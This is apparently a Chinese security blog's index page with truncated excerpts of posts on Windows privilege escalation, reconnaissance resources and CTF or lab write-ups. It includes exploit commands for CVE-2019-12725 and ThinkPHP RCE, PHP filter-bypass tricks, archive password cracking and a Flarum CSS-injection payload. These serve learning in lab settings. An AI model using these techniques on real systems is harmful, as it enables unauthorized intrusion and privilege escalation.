权限提升--Windows下的提权
权限提升–windows下的提权windows权限提升主要包含以下内容：
后台权限：SQL注入，数据库泄漏，弱口令攻击，未授权访问等造成数据库权限：SQL注入，数据库泄漏，弱口令攻击，未授权访问等造成Web权限：RCE,反序列化,文件上传等直达或通过后台数据库间接造成计算机用户权限：弱口令,数据泄漏等直达或通过Web，服务器及域控转移造成计算机系统权限：系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成宿主机权限：Docker不安全配置或漏洞权限提升直达（服务资产造成入口后提升）域控制器权限：内网域计算机用户提升或自身内核漏洞，后门攻击，主机软件安全直达
前期信息搜集后进行EXP获取
EXP获取KernelHub 针对常用溢出编号指定找EXPhttps://github.com/Ascotbe/Kernelhub
Poc-in-Github 针对年份及编号指定找EXPhttps://github.com/nomi-sec/PoC-in-GitHub
提权方式数据库提权MYSQL UDF 提权
UDF 提权原理
UDF 指的是用户自定义函
数，用户可以对数据库所使用的函 ...
权限提升-Windows下的信息收集
权限提升-windows下的信息收集前言前面打了好久的春秋云镜，纯粹是在靠刷题来零零散散的学习渗透。期末周课程设计做完了，来打打基础，学学写写
服务器信息枚举版本信息查看系统版本号：
1ver
架构信息获取到服务器架构信息，有助于后续选择对应的漏洞利用程序或编写exp和payload
1wmic os get osarchitecture
或
1echo %PROCESSOR_ARCHITECTURE%
服务信息获取服务信息可以得知系统服务的进程ID、启动方式和状态，效果类似于运行services.msc
1sc query state=all
或
1wmic service list brief
powershell命令获取服务及服务对应的执行文件路径和参数：
1Get-wmiObject win32_service | select Name,PathName
进程信息获取系统进程:
1tasklist
获取进程信息:
1tasklist /svc
使用wmic命令获取系统进程信息：
1wmic process list brief
也可以使用powershell ...
信息打点
应用信息打点–
标签 名称 地址企业信息 天眼查 https://www.tianyancha.com/企业信息 小蓝本 https://www.xiaolanben.com/企业信息 爱企查 https://aiqicha.baidu.com/企业信息 企查查 https://www.qcc.com/企业信息 国外企查 https://opencorporates.com/企业信息 启信宝 https://www.qixin.com/备案信息 备案信息查询 http://www.beianx.cn/备案信息 备案管理系统 https://beian.miit.gov.cn/公众号信息 搜狗微信搜索 https://weixin.sogou.com/注册域名 域名注册查询 https://buy.cloud.tencent.com/domainIP反查 IP反查域名 https://x.threatbook.cn/IP反查 IP反查域名 http://dns.bugscaner.com/标签 名称 地址DNS数据 dnsdumpster https://dnsdumpster.com ...
2024Ciscn&ccb Wp
2024Ciscn&ccb wp威胁检测与网络流量分析zeroshell_1流量包第243流Referer
123Referer: ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9base64解密flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
zeroshell_2找到CVE-2019-12725
https://github.com/gougou123-hash/CVE-2019-12725
利用，python3 CVE-2019-12725.py -c ``http://61.139.2.100/
1ls /Database
寻找flag
zeroshell_3
wireshark抓包vmnet8网卡，
发现202.115.89.103有古怪，判断为木马访问的地址。
zeroshell_4服务器用的是apache2,却存在一个.nginx的隐藏ELF文件。
在/tmp下和/Database下都存在。
zeroshell_ ...
赛前训练Wp
[湖湘杯 2021 final]vote给了源码，导入了pug模块
1234567891011121314151617181920212223242526const path = require('path');const express = require('express');const pug = require('pug');const { unflatten } = require('flat');const router = express.Router();router.get('/', (req, res) => { return res.sendFile(path.resolve('views/index.html'));});router.post('/api/submit' ...
沙箱逃逸初识
本篇文章转载自：https://zer0peach.github.io/2023/11/20/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E8%AF%86/#vm2-2
沙箱逃逸初识https://xz.aliyun.com/t/11859#toc-0
几乎是复现这篇文章，写文章是为了督促自己学习，顺便保存到本地
概念nodejs是javascript的运行环境，简单来说写在后端的javascript叫做nodejs
沙箱在我看来就是开创一个独立空间来运行有害的代码，从而避免影响到主机的功能
nodejs通过vm模块来创建一个沙箱
node将字符串执行为代码age.txt
1var age = 18
1.js
12345678910const fs = require("fs");let y1 = fs.readFileSync('age.txt','utf-8');console.log(y1);eval(y1);console.log(age);##var age=18 ...
国城杯Wp
国城杯wpEz_Gallery密码爆破，验证码不用变
admin/123456
登录成功之后发现
任意一幅画file参数存在任意文件读取
之前好像做过类似的
攻防世界的catcat-new
获取当前启动进程的完整命令
1/proc/self/cmdline
获取到当前页面的运行路径
1/app/app.py
读取响应文件，得到源码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119from pyramid.config import Configuratorfrom pyramid.httpexceptions import H ...
2024极客大挑战wp(部分复现)
2024极客大挑战wp(部分)rce_me12345678910111213141516171819202122232425262728293031323334353637383940 <?phpheader("Content-type:text/html;charset=utf-8");highlight_file(__FILE__);error_reporting(0);# Can you RCE me?if (!is_array($_POST["start"])) { if (!preg_match("/start.*now/is", $_POST["start"])) { if (strpos($_POST["start"], "start now") === false) { die("Well, you haven't started.<br>&q ...
ISITDTU 2019 EasyPHP
[ISITDTU 2019]EasyPHP123456789101112 <?phphighlight_file(__FILE__);$_ = @$_GET['_'];if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it');if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg');eval($_);?>
过滤的挺新颖啊
1preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_)
分解一下
过滤了ASII码\00到空格的字符，0-9数字，’”$&.|[{,_defgops：匹配这些字符中的 ...
GreatWall
GreatWallflag01ThinkPHP5 RCE（flag01）ThinkPHP v5.0.23 命令执行
fsan开扫一下
奇怪39开头的我没扫出来，重开了一个8开头的就扫出来了（校园网的问题（
根目录找到flag01
flag02上frp和fscan
12345678910111213141516171819202122232425172.28.23.17:22 open172.28.23.17:80 open172.28.23.17:8080 open[*] WebTitle http://172.28.23.17 code:200 len:10887 title:""[*] WebTitle http://172.28.23.17:8080 code:200 len:1027 title:Login Form[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1172.28.23.26:80 open172.28.23.17:8 ...
春秋云镜-TunnelX
春秋云镜-TunnelX2024.11.21记 重新配环境已经不知道多少次了，内心已经有些崩溃了，卡在了DNS隧道搭建上了，传上去iodine后nohup后，在本机执行iodined迟迟等不来dns请求，查不清楚是什么原因，唉。。先暂时放下一段时间吧
2025.1.9记 完结撒花了，这个靶场前前后后打了10个小时，这DNS隧道可是给我印象深刻，我中途换了个服务器也不行，后面配置了安全组，就可以了，大概率是安全组的问题，需要设置好出和入配置都开放53端口。
纪念一下吧
flag01第一次打的靶场上来给了俩ip，扫了端口
开了2121的ftp，80端口
扫目录发现是SiteServer CMS6.15.51
ftp存在未授权访问
xftp连上，发现secret.7z
下载解压需要密码
爆破一下
1237z2john secret.7z >1.txtjohn 1.txt --wordlist=./rockyou.txt7z x secret.7z
嘶~爆的有点小慢
爆的密码为13131313
内容为
A strange character string, You’r ...
春秋云镜-Flarum
春秋云镜-Flarumflag01fscan 扫一扫
就一个网站，结合题目描述要测试弱口令
爆破弱口令，burp导入rockyou老是卡，第一次用yakit爆破
administrator/1chris
进入后台管理
外观设置
选择自定义样式插入CSS
1@import (inline) 'data:text/css;base64,dGVzdC50eHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDA2NDQAAAAAAAAAAAAAAAAAAAAAADAwMDAwMDAwMDA0ADAwMDAwMDAwMDAwADAwMDYyMTcgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...